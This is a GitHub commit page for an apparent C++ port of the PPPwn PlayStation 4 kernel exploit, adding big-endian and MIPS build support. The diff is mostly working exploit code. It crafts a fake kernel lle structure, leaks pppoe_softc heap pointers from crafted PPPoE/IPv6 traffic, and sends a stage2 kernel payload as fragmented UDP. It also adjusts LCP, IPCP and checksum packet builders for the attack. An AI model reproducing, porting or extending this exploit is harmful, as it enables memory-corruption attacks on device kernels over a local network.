Skip to content

Commit

Permalink
Support big endian system (#52)
Browse files Browse the repository at this point in the history
* PackageBuilder support big endian

* Support MIPS big endian

* Support building for more big endian architectures

* Fix CI build error

* Fix pppoe_softc_list

* Fix UDP fragmentOffset

* Fix for PCPP_IP_MORE_FRAGMENTS flag

* Fix UDP checksum

* Fix LCP magic number
  • Loading branch information
xfangfang committed May 26, 2024
1 parent 8265c1a commit ae5c324
Show file tree
Hide file tree
Showing 10 changed files with 211 additions and 64 deletions.
2 changes: 2 additions & 0 deletions .github/workflows/ci.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,8 @@ jobs:
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-mcpu=arm1176jzf_s'", name: "(pi_zero_w)" }
- { target: mipsel-linux-musl, os: ubuntu-latest, strip: "llvm-strip", upx: "upx --lzma",
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float'" }
- { target: mips-linux-musl, os: ubuntu-latest, strip: "llvm-strip", upx: "upx --lzma",
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float'" }
steps:
- uses: actions/checkout@v4

Expand Down
11 changes: 11 additions & 0 deletions CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -94,6 +94,17 @@ else ()
set_property(TARGET Pcap++ PROPERTY COMPILE_WARNING_AS_ERROR OFF)
set_property(TARGET Common++ PROPERTY COMPILE_WARNING_AS_ERROR OFF)
list(APPEND APP_LINK_LIB Pcap++)
set(ZIG_BE "mips" "mips64" "armeb" "powerpc64" "powerpc" "aarch64_be" "s390x")
list(FIND ZIG_BE "${ZIG_TARGET_ARCH}" INDEX)
if (${INDEX} GREATER -1)
message(STATUS "Patching Layer.h to support big endian when cross-compiling")
add_custom_target(PatchLayer
WORKING_DIRECTORY ${PcapPlusPlus_SOURCE_DIR}
COMMAND git checkout -- ${PcapPlusPlus_SOURCE_DIR}/Packet++/header/Layer.h
COMMAND git apply --stat --apply ${CMAKE_SOURCE_DIR}/endian.patch
)
add_dependencies(Packet++ PatchLayer)
endif ()
endif ()

add_library(${PROJECT_NAME}_static STATIC src/exploit.cpp src/packet.cpp)
Expand Down
12 changes: 12 additions & 0 deletions endian.patch
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
diff --git a/Packet++/header/Layer.h b/Packet++/header/Layer.h
index afa1d3fa..438ab99c 100644
--- a/Packet++/header/Layer.h
+++ b/Packet++/header/Layer.h
@@ -4,6 +4,7 @@
#include <stdint.h>
#include <stdio.h>
#include "ProtocolType.h"
+#include "EndianPortable.h"
#include <string>

/// @file
13 changes: 5 additions & 8 deletions include/exploit.h
Original file line number Diff line number Diff line change
Expand Up @@ -12,17 +12,12 @@
#define RETURN_FAIL 1
#define RETURN_SUCCESS 0

#ifdef DEBUG
#define hexdump(p) PacketBuilder::hexPrint(p)
#define hexdump_verbose(p) (void) p

#else
#define hexdump(p) (void) p
#define hexdump_verbose(p) (void) p
#endif
#define hexdump(p) if(PacketBuilder::debug) PacketBuilder::hexPrint(p)

class PacketBuilder {
public:
static void hexPrint(const uint8_t* data, size_t len);

static void hexPrint(const pcpp::Packet &packet);

static pcpp::Packet lcpEchoReply(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
Expand Down Expand Up @@ -64,6 +59,8 @@ class PacketBuilder {
static pcpp::PPPoESessionLayer *getPPPoESessionLayer(const pcpp::Packet &packet, uint16_t pppType);

static pcpp::PPPoEDiscoveryLayer *getPPPoEDiscoveryLayer(const pcpp::Packet &packet, uint8_t type);

static inline bool debug{};
};

class Exploit {
Expand Down
67 changes: 34 additions & 33 deletions src/exploit.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -71,10 +71,20 @@ struct Cookie {
#define CORRUPT_NUM 0x1
#endif

// todo: Support big endian system
#define V64(list, index, data) (*(uint64_t *) &(list)[index]) = data
#define V32(list, index, data) (*(uint32_t *) &(list)[index]) = data
#define V16(list, index, data) (*(uint16_t *) &(list)[index]) = data
#ifndef htole64
#define htole64
#endif
#ifndef htole32
#define htole32
#endif
#ifndef htole16
#define htole16
#endif

#define V64BE(list, index, data) (*(uint64_t *) &(list)[index]) = htobe64(data)
#define V64(list, index, data) (*(uint64_t *) &(list)[index]) = htole64(data)
#define V32(list, index, data) (*(uint32_t *) &(list)[index]) = htole32(data)
#define V16(list, index, data) (*(uint16_t *) &(list)[index]) = htole16(data)
#define V8(list, index, data) (*(uint8_t *) &(list)[index]) = data

#define CHECK_RET(value) { int ret = (value); if(ret != RETURN_SUCCESS) return ret;}
Expand Down Expand Up @@ -198,6 +208,7 @@ void Exploit::updateSourceMac(uint64_t value) {
};
Converter planted{};
planted.u64 = value & 0xffffffffffff;
planted.u64 = htole64(planted.u64);
this->source_mac = pcpp::MacAddress(planted.u8);
std::cout << "[+] Source MAC: " << this->source_mac.toString() << std::endl;
}
Expand Down Expand Up @@ -361,6 +372,7 @@ int Exploit::ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)
}

memcpy(&pppoe_softc, host_uniq, sizeof(pppoe_softc));
pppoe_softc = htole64(pppoe_softc);
std::cout << "[+] pppoe_softc: 0x" << std::hex << pppoe_softc << std::endl;

auto *ethLayer = pkt.packet.getLayerOfType<pcpp::EthLayer>();
Expand Down Expand Up @@ -514,7 +526,7 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
V64(fake_lle, 0x70, 0x7fffffffffffffff); // ln_ntick
V32(fake_lle, 0x78, 0); // lle_refcnt
V32(fake_lle, 0x7C, 0); // pad
V64(fake_lle, 0x80, htobe64(0x414141414141)); // ll_addr
V64BE(fake_lle, 0x80, 0x414141414141); // ll_addr

// lle_timer
V64(fake_lle, 0x88, 0); // sle
Expand All @@ -533,8 +545,8 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
V16(fake_lle, 0xC2, 0); // sin6_port
V32(fake_lle, 0xC4, 0); // sin6_flowinfo
// sin6_addr
V64(fake_lle, 0xC8, htobe64(0xfe80000100000000));
V64(fake_lle, 0xD0, htobe64(0x4141414141414141));
V64BE(fake_lle, 0xC8, 0xfe80000100000000);
V64BE(fake_lle, 0xD0, 0x4141414141414141);
V32(fake_lle, 0xD8, 0); // sin6_scope_id

// pad
Expand Down Expand Up @@ -769,7 +781,7 @@ int Exploit::stage1() {
auto &&echoReply = PacketBuilder::lcpEchoReply(etherLayer->getDestMac(), etherLayer->getSourceMac(),
pppLayer->getPPPoEHeader()->sessionId,
pppLayer->getLayerPayload()[1], // id
*(uint32_t * ) & pppLayer->getLayerPayload()[4]); // magic number
htole32(*(uint32_t * ) & pppLayer->getLayerPayload()[4])); // magic number
device->sendPacket(&echoReply);
}, nullptr);

Expand Down Expand Up @@ -904,7 +916,7 @@ int Exploit::stage2() {
if (option[0] != 1) return false; // type 1 is ICMPv6NDOptSrcLLAddr
if (option[1] > 1) {
auto *self = (Exploit *) cookie;
self->pppoe_softc_list = *(uint64_t * )(option + 3);
self->pppoe_softc_list = htole64(*(uint64_t * )(option + 3));
return true; // length > 1
}
return false;
Expand Down Expand Up @@ -981,7 +993,7 @@ int Exploit::stage4() {
ipLayer.getIPv4Header()->timeToLive = 0x40;
ipLayer.getIPv4Header()->ipId = htobe16(1);
ipLayer.getIPv4Header()->protocol = pcpp::IPProtocolTypes::PACKETPP_IPPROTO_UDP;
ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) | PCPP_IP_MORE_FRAGMENTS;
ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) | htobe16(0x2000);
ipLayer.getFragmentOffset();
packet.addLayer(&ipLayer);

Expand All @@ -996,7 +1008,7 @@ int Exploit::stage4() {

// last fragment
if (offset + payloadSize >= this->stage2_bin.size()) {
ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) & 0xFF1F;
ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) & htobe16(0x1FFF);
payloadSize = this->stage2_bin.size() - offset;
}

Expand All @@ -1014,10 +1026,10 @@ int Exploit::stage4() {

// Calculate checksum
std::vector<uint8_t> temp(udpLayer.getHeaderLen());
V16(temp, 0, udpHeader->portSrc);
V16(temp, 2, udpHeader->portDst);
V16(temp, 4, udpHeader->length);
V16(temp, 6, 0);
(*(uint16_t *) &(temp)[0]) = udpHeader->portSrc;
(*(uint16_t *) &(temp)[2]) = udpHeader->portDst;
(*(uint16_t *) &(temp)[4]) = udpHeader->length;
(*(uint16_t *) &(temp)[6]) = 0;
temp.insert(temp.end(), this->stage2_bin.begin(), this->stage2_bin.end());
uint16_t checksumRes = pcpp::computePseudoHdrChecksum(temp.data(),
temp.size(),
Expand Down Expand Up @@ -1088,34 +1100,23 @@ int Exploit::run() {
return RETURN_SUCCESS;
}

template<auto M>
template<auto M, auto N>
struct Tunnel;

template<class T, class U, T U::*M>
struct Tunnel<M> {
template<class T, class V, class Q, class U, T U::*M, Q V::*N>
struct Tunnel<M, N> {
friend T &stopThread(U &u) {
return u.*M;
}
};

template
struct Tunnel<&pcpp::PcapLiveDevice::m_StopThread>;

std::atomic<bool> &stopThread(pcpp::PcapLiveDevice &);

template<auto M>
struct Tunnel2;

template<class T, class U, T U::*M>
struct Tunnel2<M> {
friend T &pcapHandle(U &u) {
return u.*M;
friend Q &pcapHandle(V &u) {
return u.*N;
}
};

template
struct Tunnel2<&pcpp::IPcapDevice::m_PcapDescriptor>;
struct Tunnel<&pcpp::PcapLiveDevice::m_StopThread, &pcpp::IPcapDevice::m_PcapDescriptor>;

std::atomic<bool> &stopThread(pcpp::PcapLiveDevice &);
pcap_t *&pcapHandle(pcpp::IPcapDevice &);

void Exploit::stop() {
Expand Down
32 changes: 19 additions & 13 deletions src/packet.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -47,10 +47,6 @@ class MyPPPoETagBuilder : public pcpp::PPPoEDiscoveryLayer::PPPoETagBuilder {
}
};

uint16_t force_htole16(uint16_t host_16bits) {
return ((host_16bits >> 8) & 0xff) | ((host_16bits << 8) & 0xff00);
}

uint16_t p16be(uint64_t val) {
return htobe16(static_cast<uint16_t>(val & 0xffff));
}
Expand All @@ -63,7 +59,7 @@ static pcpp::PayloadLayer *buildPPPLayer(pcpp::PPPoELayer *last, uint8_t code, u
(*(uint16_t * ) & ppp_data[2]) = p16be(4 + data_len);
if (data_len > 0) memcpy(&ppp_data[4], data, data_len);
auto *pppLayer = new pcpp::PayloadLayer(ppp_data, sizeof(ppp_data), false);
last->getPPPoEHeader()->payloadLength = p16be(force_htole16(last->getPPPoEHeader()->payloadLength) +
last->getPPPoEHeader()->payloadLength = p16be(p16be(last->getPPPoEHeader()->payloadLength) +
sizeof(ppp_data) + sizeof(uint16_t));
return pppLayer;
}
Expand All @@ -75,7 +71,7 @@ static pcpp::PayloadLayer *buildPPPLayer(pcpp::PPPoELayer *last, uint8_t code, u
ppp_data[1] = id;
(*(uint16_t * ) & ppp_data[2]) = p16be(4 + data_len);
auto *pppLayer = new pcpp::PayloadLayer(ppp_data, sizeof(ppp_data), false);
last->getPPPoEHeader()->payloadLength = p16be(force_htole16(last->getPPPoEHeader()->payloadLength) +
last->getPPPoEHeader()->payloadLength = p16be(p16be(last->getPPPoEHeader()->payloadLength) +
sizeof(ppp_data) + sizeof(uint16_t));
return pppLayer;
}
Expand All @@ -86,30 +82,34 @@ static pcpp::PayloadLayer *buildPPPLCPOptionLayer(pcpp::PPPoELayer *last, const
option_data[1] = data_len + 2; // len
if (data_len > 0) memcpy(&option_data[2], data, data_len);
auto *pppLayer = new pcpp::PayloadLayer(option_data, sizeof(option_data), false);
last->getPPPoEHeader()->payloadLength = p16be(force_htole16(last->getPPPoEHeader()->payloadLength) +
last->getPPPoEHeader()->payloadLength = p16be(p16be(last->getPPPoEHeader()->payloadLength) +
sizeof(option_data));
return pppLayer;
}

void PacketBuilder::hexPrint(const pcpp::Packet &packet) {
auto *rawData = packet.getRawPacket()->getRawData();
void PacketBuilder::hexPrint(const uint8_t* data, size_t len) {
std::stringstream ss;
ss << std::hex;
for (int i = 0; i < packet.getRawPacket()->getRawDataLen(); ++i) {
for (int i = 0; i < len; ++i) {
if (i % 16 == 0) {
if (i != 0) ss << "\n";
ss << std::setw(4) << std::setfill('0') << i << " ";
}
ss << std::setw(2) << std::setfill('0') << (int) rawData[i] << " ";
ss << std::setw(2) << std::setfill('0') << (int) data[i] << " ";
}
std::cout << ss.str() << std::endl;
}

void PacketBuilder::hexPrint(const pcpp::Packet &packet) {
PacketBuilder::hexPrint(packet.getRawPacket()->getRawData(), packet.getRawPacket()->getRawDataLen());
}

pcpp::Packet PacketBuilder::lcpEchoReply(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
uint16_t session, uint8_t id, uint32_t magic_number) {
auto *ether = new pcpp::EthLayer(source_mac, target_mac, PCPP_ETHERTYPE_PPPOES);
auto *pppoeLayer = new pcpp::PPPoESessionLayer(1, 1, session, PCPP_PPP_LCP);

magic_number = htole32(magic_number);
auto *lcpEchoReply = buildPPPLayer(pppoeLayer, ECHO_REPLY, id, (uint8_t * ) & magic_number, sizeof(uint32_t));

pcpp::Packet packet;
Expand Down Expand Up @@ -190,7 +190,10 @@ pcpp::Packet PacketBuilder::ipcpRequest(const pcpp::MacAddress &source_mac, cons
std::vector<uint8_t> data(6);
data[0] = PPP_IPCP_Option_IP;
data[1] = data.size();
*(uint32_t * )(&data[2]) = pcpp::IPv4Address(SOURCE_IPV4).toInt();
uint32_t ip = pcpp::IPv4Address(SOURCE_IPV4).toInt();
for (int i = 0; i < 4; ++i) {
data[i + 2] = (ip >> (i * 8)) & 0xFF;
}
pcpp::PayloadLayer *pppLayer = buildPPPLayer(pppoeLayer, CONF_REQ, IPCP_ID, data.data(), data.size());

pcpp::Packet packet;
Expand All @@ -209,7 +212,10 @@ PacketBuilder::ipcpNak(const pcpp::MacAddress &source_mac, const pcpp::MacAddres
std::vector<uint8_t> data(6);
data[0] = PPP_IPCP_Option_IP;
data[1] = data.size();
*(uint32_t * )(&data[2]) = pcpp::IPv4Address(TARGET_IPV4).toInt();
uint32_t ip = pcpp::IPv4Address(TARGET_IPV4).toInt();
for (int i = 0; i < 4; ++i) {
data[i + 2] = (ip >> (i * 8)) & 0xFF;
}
pcpp::PayloadLayer *pppLayer = buildPPPLayer(pppoeLayer, CONF_NAK, id, data.data(), data.size());

pcpp::Packet packet;
Expand Down
7 changes: 6 additions & 1 deletion tests/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -19,4 +19,9 @@ add_custom_target(${PROJECT_NAME}_pybind ALL
DEPENDS ${PROJECT_NAME}_shared
COMMAND ${Python3_EXECUTABLE} ${CMAKE_CURRENT_SOURCE_DIR}/pppwn.py
--interface=${IFACE} --fw=${FW} --stage1=${STAGE1} --stage2=${STAGE2}
--libpppwn=$<TARGET_FILE:${PROJECT_NAME}_shared>)
--libpppwn=$<TARGET_FILE:${PROJECT_NAME}_shared>)

add_executable(${PROJECT_NAME}_output
${CMAKE_CURRENT_SOURCE_DIR}/output.cpp
${CMAKE_CURRENT_SOURCE_DIR}/extern.cpp)
target_link_libraries(${PROJECT_NAME}_output PUBLIC ${PROJECT_NAME}_static)
7 changes: 7 additions & 0 deletions tests/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,3 +19,10 @@ Test 2: Replace some functions in pppwn.py with C++ version, and run with a real
cmake -B build -DBUILD_TEST=ON -DPython3_EXECUTABLE=$(which python3) -DIFACE=en10 -DFW=900 -DSTAGE1="<path>" -DSTAGE2="<path>"
cmake --build build pppwn_pybind
```

Test 3: Output the packet generated by the C++ version.

```shell
cmake -B build -DBUILD_TEST=ON
cmake --build build pppwn_output
```
Loading

0 comments on commit ae5c324

Please sign in to comment.